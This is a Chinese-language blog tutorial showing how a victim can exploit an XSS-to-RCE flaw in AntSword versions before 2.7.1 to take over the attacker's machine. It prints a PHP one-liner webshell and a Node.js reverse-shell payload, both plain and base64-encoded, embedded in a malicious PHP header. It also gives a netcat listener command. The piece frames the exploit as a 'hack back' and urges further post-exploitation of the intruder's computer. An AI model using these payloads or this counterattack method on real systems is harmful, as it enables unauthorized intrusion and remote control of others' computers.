中国蚁剑(AntSword) 是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
WebShell
WebShell可以理解为网页中的木马程序,通过植入到你的web站点,在web页面上的操作,控制你的计算机操作系统,文件,权限,任意命令执行。
常见的WebShell分为大马、小马、一句话木马、内存马等。
下面为一句话木马的代码展示:
# 一句话木马<?php @eval($_POST['pass']); ?>
中国蚁剑(AntSword)
当你的计算机被植入了一句话木马后,需要通过工具进行连接,才可以方便管理,而AntSword就是连接一句话木马工具中的其中之一,类似的工具还有:中国菜刀、哥斯拉、冰蝎等。
中国蚁剑(AntSword) RCE漏洞
此漏洞在AntSword2.7.1版本上修复 ,所以适用于AntSword2.7.1以下版本。
此漏洞为AntSword连接WebShell失败时对html代码的解析,导致xss漏洞,而使html代码不在浏览器解析而是在服务器上解析的话需要用到nodejs,所以AntSword使用了nodejs,本文章就讲解利用xss漏洞执行并调用nodejs的库反弹shell拿到权限。
吊打黑客的场景
黑客在你的web服务上植入了WebShell,利用蚁剑去连接并控制了你的电脑,这时被你发现了电脑被控制 变的卡卡的,并且发现了是通过web服务里的WebShell来控制你的,想到自己磁盘里几十G的秘密学习资料可能全部被窃取,你很不爽,你想找到这个黑客小子,绞尽脑汁想了很多办法也无法痛快的还击,直到你想起来以前读到过的我这篇文章,你抱着试试看的态度去尝试了一下,发现成功反向黑掉了那个黑客的电脑,于是你对这个黑客一系列的还击计划开始在脑海里活蹦乱跳...
模拟环境准备:
黑客ip: 192.168.31.124 系统: win7
被攻击的ip:192.168.31.222 系统:win10
黑客电脑软件:
中国蚁剑AntSword2.7.0
中国蚁剑加载器AntSword-Loader2.0.1
被攻击电脑软件
小皮面板Phpstudy
瑞士军刀Netcat
被攻击电脑web部署
安装好phpstudy并运行apache
打开80端口的网站目录 并放入一句话木马WebShell文件
黑客电脑连接WebShell
此时我们作为被攻击的电脑,可以尝试修改WebShell的代码
将一句话木马代码改为如下:
<?php header("HTTP/1.1 500 <img src=1 onerror=alert(1) />") ?>
黑客电脑重新连接一句话木马查看效果
发现执行了我们修改的代码中的alert(1) 弹出了提示框,证明是存在xss漏洞的
利用nodejs库编写payload,反弹黑客电脑的shell
使用<=AntSword2.7.0 RCE漏洞,让黑客电脑反弹shell到被攻击电脑的1971端口上
首先开启被攻击电脑的Netcat 监听端口1971
nc -Lp 1971
更改shell.php代码
利用nodejs库反弹shell的代码(payload):
var net = require("net");var cmd = require("child_process").exec("cmd.exe");var socket = new net.Socket();socket.connect(1971, "192.168.31.222", function(){socket.pipe(cmd.stdin);cmd.stdout.pipe(socket);cmd.stderr.pipe(socket);});
以上代码通过创建Socket来连接192.168.31.222(被攻击的电脑ip) 的1971端口(Netcat监听的端口)
将以上代码进行base64加密,加密后的密文:
dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpOwp2YXIgY21kID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWMoImNtZC5leGUiKTsKdmFyIHNvY2tldCA9IG5ldyBuZXQuU29ja2V0KCk7CnNvY2tldC5jb25uZWN0KDE5NzEsICIxOTIuMTY4LjMxLjIyMiIsIGZ1bmN0aW9uKCl7CiAgICBzb2NrZXQucGlwZShjbWQuc3RkaW4pOwogICAgY21kLnN0ZG91dC5waXBlKHNvY2tldCk7CiAgICBjbWQuc3RkZXJyLnBpcGUoc29ja2V0KTsKfSk7
通过javascript的eval函数来调用:
eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpOwp2YXIgY21kID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWMoImNtZC5leGUiKTsKdmFyIHNvY2tldCA9IG5ldyBuZXQuU29ja2V0KCk7CnNvY2tldC5jb25uZWN0KDE5NzEsICIxOTIuMTY4LjMxLjIyMiIsIGZ1bmN0aW9uKCl7CiAgICBzb2NrZXQucGlwZShjbWQuc3RkaW4pOwogICAgY21kLnN0ZG91dC5waXBlKHNvY2tldCk7CiAgICBjbWQuc3RkZXJyLnBpcGUoc29ja2V0KTsKfSk7`,`base64`).toString())
并替换掉我们前边写的alert(1)代码,最终写到shell.php中的代码如下:
<?php header("HTTP/1.1 500 <img src=1 onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpOwp2YXIgY21kID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWMoImNtZC5leGUiKTsKdmFyIHNvY2tldCA9IG5ldyBuZXQuU29ja2V0KCk7CnNvY2tldC5jb25uZWN0KDE5NzEsICIxOTIuMTY4LjMxLjIyMiIsIGZ1bmN0aW9uKCl7CiAgICBzb2NrZXQucGlwZShjbWQuc3RkaW4pOwogICAgY21kLnN0ZG91dC5waXBlKHNvY2tldCk7CiAgICBjbWQuc3RkZXJyLnBpcGUoc29ja2V0KTsKfSk7`,`base64`).toString())' />") ?>
黑客电脑尝试重新连接一句话木马,查看效果
黑客使用蚁剑重连,在报错的同时,反弹给了我们一个shell到Netcat监听的1971端口上
利用shell执行命令,查看信息,成功拿下黑客电脑的管理员账号,ip也对应黑客电脑的192.168.31.124
至此,你终于可以对黑客发起反击,进行后渗透...
在该漏洞问题被提出之后,中国蚁剑的作者在及时发布了中国蚁剑的新版本 AntSword v2.7.1+。